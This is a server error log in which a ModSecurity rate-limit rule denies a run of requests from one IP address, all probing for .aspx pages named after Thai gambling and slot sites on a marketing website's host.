[Sun Mar 22 05:40:41.735285 2026] [:error] [pid 40039:tid 40056] [client 51.77.218.191:36132] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ab8QWR3aDgUJfBYishnu5gAAAQ8"]
[Sun Mar 22 05:40:45.069557 2026] [:error] [pid 51468:tid 51489] [client 51.77.218.191:53826] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ab8QXU2TppSvA8W5CBSOqwAAAM0"]
[Sun Mar 22 05:40:48.352808 2026] [:error] [pid 40039:tid 40051] [client 51.77.218.191:53838] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "ab8QYB3aDgUJfBYishnu9wAAAQo"]
[Sun Mar 22 05:40:51.106648 2026] [:error] [pid 51468:tid 51490] [client 51.77.218.191:53842] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ab8QY02TppSvA8W5CBSOtQAAAM4"]
[Sun Mar 22 05:40:53.963937 2026] [:error] [pid 51468:tid 51490] [client 51.77.218.191:59976] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ab8QZU2TppSvA8W5CBSOvwAAAM4"]
[Sun Mar 22 05:40:56.669596 2026] [:error] [pid 40039:tid 40056] [client 51.77.218.191:59978] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ab8QaB3aDgUJfBYishnvDgAAAQ8"]
[Sun Mar 22 05:40:59.673952 2026] [:error] [pid 40039:tid 40065] [client 51.77.218.191:59990] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ab8Qax3aDgUJfBYishnvEgAAARg"]
[Sun Mar 22 05:41:02.560505 2026] [:error] [pid 40039:tid 40063] [client 51.77.218.191:53616] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "ab8Qbh3aDgUJfBYishnvHgAAARY"]
[Sun Mar 22 05:41:05.598158 2026] [:error] [pid 51361:tid 51380] [client 51.77.218.191:53618] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ab8QcRXYUsdvKC9YWpUtlwAAAAk"]
[Sun Mar 22 05:41:08.418288 2026] [:error] [pid 40039:tid 40051] [client 51.77.218.191:53624] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ab8QdB3aDgUJfBYishnvNAAAAQo"]
[Sun Mar 22 05:41:11.214915 2026] [:error] [pid 51363:tid 51446] [client 51.77.218.191:53630] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ab8Qd1wa9x6OCTRkhl1M3AAAAJA"]
[Sun Mar 22 05:41:36.446827 2026] [:error] [pid 51468:tid 51488] [client 51.77.218.191:35800] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "ab8QkE2TppSvA8W5CBSPFQAAAMw"]
[Sun Mar 22 05:41:39.284181 2026] [:error] [pid 51362:tid 51404] [client 51.77.218.191:55154] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ab8Qk8OwPm3DXzTDjUetlwAAAEM"]
[Sun Mar 22 05:43:07.238689 2026] [:error] [pid 40039:tid 40058] [client 51.77.218.191:49268] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ab8Q6x3aDgUJfBYishnwdAAAARE"]
[Sun Mar 22 05:43:09.637626 2026] [:error] [pid 51361:tid 51376] [client 51.77.218.191:50006] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ab8Q7RXYUsdvKC9YWpUuBwAAAAU"]
[Sun Mar 22 05:43:12.179465 2026] [:error] [pid 51361:tid 51389] [client 51.77.218.191:59230] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ab8Q8BXYUsdvKC9YWpUuCwAAABE"]
[Sun Mar 22 05:43:14.514456 2026] [:error] [pid 40039:tid 40049] [client 51.77.218.191:59242] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ab8Q8h3aDgUJfBYishnwngAAAQg"]
[Sun Mar 22 05:43:17.013670 2026] [:error] [pid 40039:tid 40061] [client 51.77.218.191:59248] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "ab8Q9R3aDgUJfBYishnwrgAAARQ"]
[Sun Mar 22 05:43:19.338964 2026] [:error] [pid 51361:tid 51379] [client 51.77.218.191:59258] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ab8Q9xXYUsdvKC9YWpUuEwAAAAg"]
[Sun Mar 22 05:43:21.837922 2026] [:error] [pid 51362:tid 51400] [client 51.77.218.191:38672] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ab8Q-cOwPm3DXzTDjUet_gAAAEA"]
[Sun Mar 22 05:43:24.152134 2026] [:error] [pid 40039:tid 40059] [client 51.77.218.191:38676] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ab8Q_B3aDgUJfBYishnwwwAAARI"]
[Sun Mar 22 05:43:26.632399 2026] [:error] [pid 51361:tid 51374] [client 51.77.218.191:38692] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "ab8Q_hXYUsdvKC9YWpUuFwAAAAM"]
[Sun Mar 22 05:43:28.974980 2026] [:error] [pid 40039:tid 40064] [client 51.77.218.191:38696] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ab8RAB3aDgUJfBYishnw0gAAARc"]
[Sun Mar 22 05:43:31.481804 2026] [:error] [pid 51363:tid 51437] [client 51.77.218.191:38710] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ab8RA1wa9x6OCTRkhl1NlQAAAIg"]
[Sun Mar 22 05:43:33.918552 2026] [:error] [pid 51361:tid 51375] [client 51.77.218.191:44828] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "ab8RBRXYUsdvKC9YWpUuHQAAAAQ"]
[Sun Mar 22 05:43:36.348925 2026] [:error] [pid 51468:tid 51500] [client 51.77.218.191:44844] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ab8RCE2TppSvA8W5CBSQEQAAANg"]
[Sun Mar 22 05:43:38.829882 2026] [:error] [pid 51468:tid 51495] [client 51.77.218.191:44846] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ab8RCk2TppSvA8W5CBSQGgAAANM"]
[Sun Mar 22 05:43:41.156639 2026] [:error] [pid 51468:tid 51485] [client 51.77.218.191:44856] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ab8RDU2TppSvA8W5CBSQJQAAAMk"]
[Sun Mar 22 05:43:43.533707 2026] [:error] [pid 51363:tid 51432] [client 51.77.218.191:34202] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ab8RD1wa9x6OCTRkhl1NowAAAIQ"]
[Sun Mar 22 05:43:45.965962 2026] [:error] [pid 51361:tid 51373] [client 51.77.218.191:34216] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ab8RERXYUsdvKC9YWpUuJwAAAAI"]
[Sun Mar 22 05:43:48.417454 2026] [:error] [pid 40039:tid 40052] [client 51.77.218.191:34226] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "ab8RFB3aDgUJfBYishnw7wAAAQs"]
[Sun Mar 22 05:43:51.045731 2026] [:error] [pid 51362:tid 51412] [client 51.77.218.191:34234] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ab8RF8OwPm3DXzTDjUeuHwAAAEs"]
[Sun Mar 22 05:43:53.549684 2026] [:error] [pid 51468:tid 51493] [client 51.77.218.191:37130] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ab8RGU2TppSvA8W5CBSQNwAAANE"]
[Sun Mar 22 05:43:56.094725 2026] [:error] [pid 40039:tid 40041] [client 51.77.218.191:37144] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ab8RHB3aDgUJfBYishnw-QAAAQA"]
[Sun Mar 22 05:43:58.592244 2026] [:error] [pid 51362:tid 51423] [client 51.77.218.191:37160] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ab8RHsOwPm3DXzTDjUeuKgAAAFY"]
[Sun Mar 22 05:44:01.028249 2026] [:error] [pid 51361:tid 51388] [client 51.77.218.191:37170] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "ab8RIRXYUsdvKC9YWpUuNgAAABA"]
[Sun Mar 22 05:44:03.589772 2026] [:error] [pid 51362:tid 51409] [client 51.77.218.191:57672] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "ab8RI8OwPm3DXzTDjUeuMQAAAEg"]
[Sun Mar 22 05:44:24.530981 2026] [:error] [pid 40039:tid 40057] [client 51.77.218.191:57686] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ab8ROB3aDgUJfBYishnxWwAAARA"]
[Sun Mar 22 05:44:26.886850 2026] [:error] [pid 40039:tid 40060] [client 51.77.218.191:34692] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ab8ROh3aDgUJfBYishnxZwAAARM"]
[Sun Mar 22 05:44:29.414871 2026] [:error] [pid 51363:tid 51452] [client 51.77.218.191:34694] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ab8RPVwa9x6OCTRkhl1N5QAAAJY"]
[Sun Mar 22 05:44:31.920707 2026] [:error] [pid 40039:tid 40047] [client 51.77.218.191:54108] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ab8RPx3aDgUJfBYishnxggAAAQY"]
[Sun Mar 22 05:44:34.378445 2026] [:error] [pid 40039:tid 40055] [client 51.77.218.191:54120] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ab8RQh3aDgUJfBYishnxjgAAAQ4"]
[Sun Mar 22 05:44:36.868516 2026] [:error] [pid 51363:tid 51439] [client 51.77.218.191:54126] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ab8RRFwa9x6OCTRkhl1N6QAAAIo"]
[Sun Mar 22 05:44:39.348376 2026] [:error] [pid 40039:tid 40044] [client 51.77.218.191:54142] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ab8RRx3aDgUJfBYishnxpQAAAQM"]
[Sun Mar 22 05:44:41.643004 2026] [:error] [pid 51468:tid 51499] [client 51.77.218.191:54154] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ab8RSU2TppSvA8W5CBSQvwAAANc"]
[Sun Mar 22 05:44:43.948042 2026] [:error] [pid 51468:tid 51496] [client 51.77.218.191:50562] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ab8RS02TppSvA8W5CBSQwwAAANQ"]
[Sun Mar 22 05:44:46.414559 2026] [:error] [pid 51468:tid 51499] [client 51.77.218.191:50576] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "ab8RTk2TppSvA8W5CBSQywAAANc"]
[Sun Mar 22 05:44:48.862647 2026] [:error] [pid 51363:tid 51453] [client 51.77.218.191:50592] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ab8RUFwa9x6OCTRkhl1N8wAAAJc"]
[Sun Mar 22 05:44:51.180705 2026] [:error] [pid 51468:tid 51480] [client 51.77.218.191:50602] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ab8RU02TppSvA8W5CBSQ1gAAAMQ"]
[Sun Mar 22 05:44:53.643367 2026] [:error] [pid 51363:tid 51443] [client 51.77.218.191:52746] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ab8RVVwa9x6OCTRkhl1N-wAAAI4"]
[Sun Mar 22 05:44:56.122041 2026] [:error] [pid 40039:tid 40047] [client 51.77.218.191:52748] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ab8RWB3aDgUJfBYishnx3gAAAQY"]
[Sun Mar 22 05:44:58.619939 2026] [:error] [pid 51362:tid 51400] [client 51.77.218.191:52764] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ab8RWsOwPm3DXzTDjUeuaQAAAEA"]
[Sun Mar 22 05:45:01.073150 2026] [:error] [pid 51468:tid 51497] [client 51.77.218.191:52770] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ab8RXU2TppSvA8W5CBSQ7AAAANU"]
[Sun Mar 22 05:45:03.574475 2026] [:error] [pid 40039:tid 40049] [client 51.77.218.191:39650] [client 51.77.218.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ab8RXx3aDgUJfBYishnx9QAAAQg"]
